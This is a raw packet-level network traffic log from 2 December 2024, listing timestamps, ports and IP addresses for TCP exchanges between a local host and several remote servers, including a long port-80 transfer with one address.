Dec 2, 2024 07:37:23.658689976 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.658694983 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.694051981 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.694067955 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.694080114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.694293022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.694346905 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.694395065 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.897017956 CET	443	49707	173.222.162.64	192.168.2.6
Dec 2, 2024 07:37:23.897188902 CET	49707	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:23.981257915 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.981339931 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.981398106 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.981688976 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.981707096 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.981717110 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.981723070 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.983509064 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.983573914 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.983613014 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.983808994 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.983825922 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.983841896 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.983848095 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.985637903 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.985660076 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.985728025 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.985903025 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.985915899 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.987181902 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.987211943 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.987272024 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.987435102 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.987453938 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.007761002 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.007813931 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.007859945 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.008346081 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.008351088 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.008366108 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.008373022 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.012301922 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.012351036 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.012422085 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.012579918 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.012594938 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.053073883 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.053129911 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.053193092 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.053594112 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.053600073 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.053615093 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.053618908 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.058012009 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.058027029 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.058096886 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.058337927 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.058348894 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.095123053 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.095206022 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.095257044 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.095443964 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.095453978 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.095463991 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.095468998 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.098603010 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.098640919 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.098710060 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.098874092 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:24.098886967 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:24.665007114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:24.665149927 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:24.985045910 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.104962111 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.301156044 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.301282883 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.303612947 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.303621054 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.303858042 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.306047916 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.306118965 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.306124926 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.306279898 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.351332903 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.470973015 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.471019030 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.471149921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.471149921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.473308086 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.473368883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.473407984 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.473407984 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.478359938 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.478444099 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.478528023 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.478599072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.486705065 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.486816883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.486850023 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.486901045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.495285988 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.495352030 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.495418072 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.495470047 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.503556013 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.503621101 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.503659010 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.503732920 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.512042046 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.512193918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.602531910 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.602560997 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.602722883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.606712103 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.606766939 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.606775045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.606811047 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.612090111 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.612158060 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.612186909 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.612232924 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.620594978 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.620654106 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.620671034 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.620695114 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.628911972 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.628982067 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.629111052 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.629111052 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.681318998 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.681406975 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.681427002 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.681474924 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.685538054 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.685609102 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.687149048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.687206030 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.687232018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.687288046 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.695519924 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.695590973 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.695607901 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.695672035 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.703933954 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.704004049 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.704011917 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.704054117 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.712356091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.712416887 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.712465048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.712511063 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.720880032 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.720944881 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.720989943 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.721026897 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.729137897 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.729269981 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.732877970 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.732948065 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.732978106 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.733040094 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.739234924 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.739289045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.739335060 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.739428043 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.746459961 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.746526003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.746546030 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.746630907 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.753671885 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.753787994 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.753804922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.753861904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.760864973 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.760926962 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.760945082 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.760972023 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.767203093 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.767786980 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.767808914 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.768311977 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.768318892 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.776879072 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.777409077 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.777429104 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.778611898 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.778616905 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.792141914 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.792701960 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.792748928 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.793168068 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.793181896 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.812690973 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.812800884 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.812820911 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.812845945 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.814649105 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.814723015 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.814754963 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.814804077 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.821310997 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.821368933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.821400881 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.821444988 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.827931881 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.828001022 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.828051090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.828107119 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.830537081 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.831401110 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.831429958 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.831906080 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.831912041 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.834669113 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.834724903 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.834739923 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.834789038 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.841181993 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.841250896 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.841289043 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.841347933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.847831011 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.847908020 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.847965002 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.848027945 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.854511023 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.854610920 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.854665995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.854747057 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.860815048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.860928059 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.860934019 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.860975981 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.867155075 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.867269993 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.883352041 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.883955002 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.883981943 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.884506941 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:25.884511948 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:25.891803026 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.891876936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.891891003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.891928911 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.893620968 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.893686056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.893696070 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.893819094 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.897378922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.897440910 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.898770094 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.898828030 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.898861885 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.898910046 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.902554035 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.902617931 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.902648926 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.902731895 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.906495094 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.906562090 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.906584024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.906657934 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.910202026 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.910274029 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.910295010 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.910316944 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.914484024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.914556980 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.914589882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.914635897 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.917848110 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.917922020 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.917949915 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.918005943 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.921462059 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.921531916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.921602011 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.921678066 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.925241947 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.925276995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.925354004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.925354004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.948630095 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.948761940 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.948785067 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.948839903 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.950428009 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.950484991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.950660944 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.950731039 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.954144955 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.954205990 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.954215050 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.954268932 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.957753897 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.957832098 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.957850933 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.957901955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.961373091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.961450100 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.961503983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.961572886 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.965040922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.965126038 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.965159893 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.965217113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.969043970 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:25.969155073 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:25.972122908 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.972322941 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:25.972404957 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.972548962 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:25.972562075 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:26.023128986 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.023248911 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.023303032 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.023472071 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.024741888 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.024811029 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.025388956 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.025430918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.025479078 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.025563955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.028803110 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.028847933 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.028881073 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.028881073 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.031358004 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.031487942 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.031557083 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.031577110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.034725904 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.034812927 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.034812927 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.034863949 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.038539886 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.038621902 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.038769007 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.038863897 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.041698933 CET	80	49724	185.215.113.206	192.168.2.6
